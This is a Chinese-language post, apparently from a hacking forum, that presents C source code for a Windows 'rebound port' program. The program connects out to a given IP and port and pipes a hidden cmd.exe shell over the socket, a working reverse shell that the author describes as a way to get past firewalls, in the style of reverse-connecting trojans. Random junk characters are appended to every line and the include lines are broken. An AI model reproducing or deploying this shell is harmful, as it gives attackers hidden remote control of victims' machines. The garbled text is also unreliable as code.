这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 l%Fse&4\
4N0W& Dy
/* ============================== ;^*+:e
Rebound port in Windows NT <LOx.}fv
By wind,2006/7 d%[`=fs]|m
===============================*/ n+A'XBHk
#include /oixtO)
#include C$Hl`>?$
(qq$y
#$
#pragma comment(lib,"wsock32.lib") LbmB([p
wb}N-8x
void OutputShell(); cxF?&0[mY
SOCKET sClient; UVQ a
af
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; xSMp[j
SBYMDKZ
void main(int argc,char **argv) WEY97_@
{ xs83S.fHg
WSADATA stWsaData; !xx>
lX5
int nRet; Ty,)mx){)
SOCKADDR_IN stSaiClient,stSaiServer; _|5FrN
7.Kjg_N#Tr
if(argc != 3) e*'|iuDrY
{ 4jyr\=42F'
printf("Useage:\n\rRebound DestIP DestPort\n"); wshp{ y
return; E]U3O>hf
} +H m+#o
cM7k) {
WSAStartup(MAKEWORD(2,2),&stWsaData); ~jCpL@rS
8BoT%kVeJv
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); b&V]|Z(
&j~|3
stSaiClient.sin_family = AF_INET; V3hm*{ON
stSaiClient.sin_port = htons(0); :\w[xqH
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); #Ot*jb1
R*TGn_J`
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) uJ!s%s2g
{ ^Hhw(@`qf
printf("Bind Socket Failed!\n"); >cr_^(UW&
return; > Qbc(}w
} (gJ
)]/n
.8uwg@yD
stSaiServer.sin_family = AF_INET; Dy!bj
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 5}l#zj
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 4>wIF }\
lVp~oZC6[
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) l1|,Lr
{ y:6'&`L
printf("Connect Error!"); >a`zkl
return; :Kc0ak)<n
} ;h(;(
OutputShell(); ]38<ly7
} j7HlvoZV
~RLx;
void OutputShell() :,z3:PL
{ zt>_)&b
char szBuff[1024]; _*?"[TYfX
SECURITY_ATTRIBUTES stSecurityAttributes; X!A]V:8dk
OSVERSIONINFO stOsversionInfo; sz2SWk^&
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; m-KK
{{
STARTUPINFO stStartupInfo; elHarey`f
char *szShell; He_(JXTP
PROCESS_INFORMATION stProcessInformation; ';CuJXAj
unsigned long lBytesRead; 'V9aB5O&
E<G@LT
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); i7!mMO8]
ZT6X4 Z
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); :iOHc-x
stSecurityAttributes.lpSecurityDescriptor = 0; gW pT:tX-
stSecurityAttributes.bInheritHandle = TRUE; qLi1yH
IWR q:Gw
;>8TNB e!
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); +(P43XO08
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); JE:n`l/p
m ?"%&|
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); g l\$jDC9
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; E `j5y(44
stStartupInfo.wShowWindow = SW_HIDE; !m:PBl5
stStartupInfo.hStdInput = hReadPipe; ![D,8]GD
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; LsD9hb7
#vZ]2Ud=2
GetVersionEx(&stOsversionInfo); hz|z&vyP
{Ljl4Sp&
switch(stOsversionInfo.dwPlatformId) ^?.:}
{ iF_r'+j
case 1: P;o>~Y>x
szShell = "command.com"; cyP*QW[
break; BNoCE!
default: .q[sk
szShell = "cmd.exe"; W]Y!ZfGnN
break; LW
3J$Am
} }(%}"%$
f(MHU
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); LOG*K;v3
k@)m- K
send(sClient,szMsg,77,0); }b\q<sNE{
while(1) 3R[J,go
{ E9*?G4P{l
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 1YD.jU^;HD
if(lBytesRead) Tvw2py q
{ 1~u\]Zi=D
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); j#>![km Mu
send(sClient,szBuff,lBytesRead,0); xr3PO?:
} 1Y"qQp
else ]B'
{ w[vIPlSdS
lBytesRead=recv(sClient,szBuff,1024,0); WHavz0knf[
if(lBytesRead<=0) break; wQS w&G
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); $
5-2cL
} ITqigGan%
} bme#G{[)Y
<21^{ yt1
return; y\|\9Q%D
}